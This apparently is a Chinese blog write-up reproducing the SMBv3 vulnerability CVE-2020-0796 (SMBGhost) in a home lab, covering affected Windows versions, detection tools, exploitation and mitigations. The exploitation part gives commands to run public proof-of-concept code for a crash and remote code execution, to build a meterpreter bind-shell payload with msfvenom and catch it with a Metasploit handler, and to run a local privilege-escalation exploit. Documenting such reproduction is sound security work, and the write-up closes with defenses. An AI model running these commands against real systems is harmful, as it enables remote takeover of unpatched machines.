說明:
這個漏洞幾個月前就復(fù)現(xiàn)過了,但是沒有記錄,當時是可行的,現(xiàn)在Windows 10自動更新已經(jīng)修復(fù)了這個漏洞,當時也沒保存鏡像,所以無法成功復(fù)現(xiàn)~
簡介:
2020年3月10日,微軟在其官方SRC發(fā)布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客戶端和服務(wù)端存在遠程代碼執(zhí)行漏洞。同時指出該漏洞存在于MicroSoft Server Message Block 3.1.1協(xié)議處理特定請求包的功能中,攻擊者利用該漏洞可在目標SMB Server或者Client中執(zhí)行任意代碼
該漏洞是SMB 3.1.1協(xié)議中處理壓縮消息時,對其中數(shù)據(jù)沒有經(jīng)過安全檢查,直接使用會引發(fā)內(nèi)存破壞環(huán)境,導(dǎo)致可被攻擊者利用遠程執(zhí)行任意代碼。
影響版本:
只影響Windows 10 1903之后的各個32位、64位版Windows,包括家用版、專業(yè)版、企業(yè)版、教育版。(只影響 SMB v3.1.1,1903和1909)
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
復(fù)現(xiàn)環(huán)境:
環(huán)境準備:
靶機:192.168.107.130(Windows 10)
攻擊機:192.168.107.129 (Kali)
物理機:172.17.82.57(Windows 10)
鏡像文件:ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|
查看靶機版本信息:

查看靶機系統(tǒng)補丁情況(是否存在KB4551762):

雖然這個上面沒有顯示KB4551762的補丁,但是我一直都有更新補丁,可能是顯示不全,所以大家還是去window更新里面點擊查看更新歷史記錄里面的其他更新:

漏洞檢測:
1、項目地址:https://github.com/ollypwn/SMBGhost

據(jù)說這個腳本結(jié)果有點不準,主機打過補丁也顯示可攻擊
2、奇安信檢測工具:
項目地址:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
適用于局域網(wǎng)批量檢測,快速查找未打補丁的機器:

3、騰訊電腦管家SMB漏洞修復(fù)工具:
http://dlied6.qq.com/invc/QQPatch/QuickFix_SMB0796.exe

漏洞利用:
藍屏POC:
項目地址:https://github.com/eerykitty/CVE-2020-0796-PoC
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
python3 setup.py install
python3 CVE-2020-0796.py 192.168.107.130
遠程POC:
項目地址:https://github.com/chompie1337/SMBGhost_RCE_PoC.git
具體利用過程:
1、利用msf生成py文件,得到惡意code
msfvenom -p windows/x64/meterpreter/bind_tcp lport=6666 -f py -o book4yi.py
2、將book4yi.py 生成的code,替換到exploit.py的USER_PAYLOAD參數(shù),并把參數(shù)buf改為USER_PAYLOAD

3、進入msf進行監(jiān)聽,輸入以下命令:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.107.130
run
4、運行exploit.py
python3 exploit.py -ip 192.168.107.130
本地提權(quán)POC:
項目地址:https://github.com/danigargu/CVE-2020-0796
編譯后直接運行即可
msf也有相應(yīng)的利用模塊:
search cve:2020
exploit/windows/local/cve_2020_0796_smbghost
防御手段:
1、更新微軟針對該漏洞所發(fā)布的的修復(fù)補丁:KB4551762
補丁鏈接:https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0796
2、在注冊表中建立一個名為 DisableCompression 的 DWORD (值為1) ,以禁用SMBv3的壓縮功能
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
3、在邊界防火墻對 TCP 445端口進行封堵
參考如下:
【CVE-2020-0796】漏洞POC復(fù)現(xiàn)
CVE-2020-0796 (永恒之黑)復(fù)現(xiàn)
CVE-2020-0796 漏洞檢測及利用工具
漏洞復(fù)現(xiàn)|CVE-2020-0796(SMBv3遠程代碼執(zhí)行)漏洞復(fù)現(xiàn)